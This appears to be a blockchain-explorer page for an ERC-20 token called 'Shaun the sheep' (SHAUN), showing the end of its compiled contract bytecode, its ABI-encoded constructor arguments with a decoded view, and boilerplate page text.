27f4945524332303a207472616e736665722066726f6d20746865207a65726f206160448201526564647265737360d01b606482015260840161026c565b6001600160a01b03821661096d5760405162461bcd60e51b8152602060048201526024808201527f4945524332303a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b606482015260840161026c565b6109aa81604051806060016040528060278152602001610e1f602791396001600160a01b0386166000908152600160205260409020549190610a2e565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546109da908290610da4565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061088a9085815260200190565b60008184841115610a525760405162461bcd60e51b815260040161026c9190610d28565b505050900390565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600454610ac19084906001600160a01b0316610681565b15610b45576001600160a01b038216610aec5760405162461bcd60e51b815260040161026c90610d7b565b8015610b1e57506001600160a01b0316600081815260026020526040902080546001600160a01b031916909117905550565b6001600160a01b038216600090815260026020526040902080546001600160a01b03191690555b505050565b6001600160a01b0380841660009081526002602052604081205490918291610b7491879116610681565b15610bcd576001600160a01b038516600090815260016020526040902054610b9d908290610da4565b6001600160a01b03861660009081526001602052604090205550600a54610bc4858261070c565b60019250610c10565b6001600160a01b038516600090815260016020526040902054610bf1908290610da4565b6001600160a01b03861660009081526001602052604081209190915592505b50909392505050565b80356001600160a01b0381168114610c3057600080fd5b919050565b600060208284031215610c46578081fd5b61067a82610c19565b60008060408385031215610c61578081fd5b610c6a83610c19565b9150610c7860208401610c19565b90509250929050565b600080600060608486031215610c95578081fd5b610c9e84610c19565b9250610cac60208501610c19565b9150604084013590509250925092565b60008060408385031215610cce578182fd5b610cd783610c19565b946020939093013593505050565b600080600060608486031215610cf9578283fd5b610d0284610c19565b92506020840135915060408401358015158114610d1d578182fd5b809150509250925092565b6000602080835283518082850152825b81811015610d5457858101830151858201604001528201610d38565b81811115610d655783604083870101525b50601f01601f1916929092016040019392505050565b6020808252600f908201526e496e76616c6964206164647265737360881b604082015260600190565b60008219821115610db757610db7610e08565b500190565b600082821015610dce57610dce610e08565b500390565b600181811c90821680610de757607f821691505b6020821081141561076957634e487b7160e01b600052602260045260246000fd5b634e487b7160e01b600052601160045260246000fdfe4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d0c968cb2ca94d03ab51ce07b6e65628ff5b85610a08f1f29216df4b311978f264736f6c63430008040033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000201f9bd6b4dc3ccde2ed6ee5fd41275f14ff2da400000000000000000000000000000000000000000000000000000001cf977871000000000000000000000000000000000000000000000000000000000000000f536861756e2074686520736865657000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005534841554e000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): Shaun the sheep
Arg [1] : symbol_ (string): SHAUN
Arg [2] : token_ (address): 0x201f9BD6b4dC3ccDe2eD6ee5fd41275F14fF2dA4
Arg [3] : totalSupply_ (uint256): 7777777777
-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 000000000000000000000000201f9bd6b4dc3ccde2ed6ee5fd41275f14ff2da4
Arg [3] : 00000000000000000000000000000000000000000000000000000001cf977871
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000f
Arg [5] : 536861756e207468652073686565700000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [7] : 534841554e000000000000000000000000000000000000000000000000000000
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.